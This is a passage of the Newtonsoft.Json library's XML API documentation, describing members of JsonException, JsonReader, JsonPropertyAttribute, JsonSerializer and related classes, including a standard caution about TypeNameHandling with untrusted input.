name=\"M:Newtonsoft.Json.JsonException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see 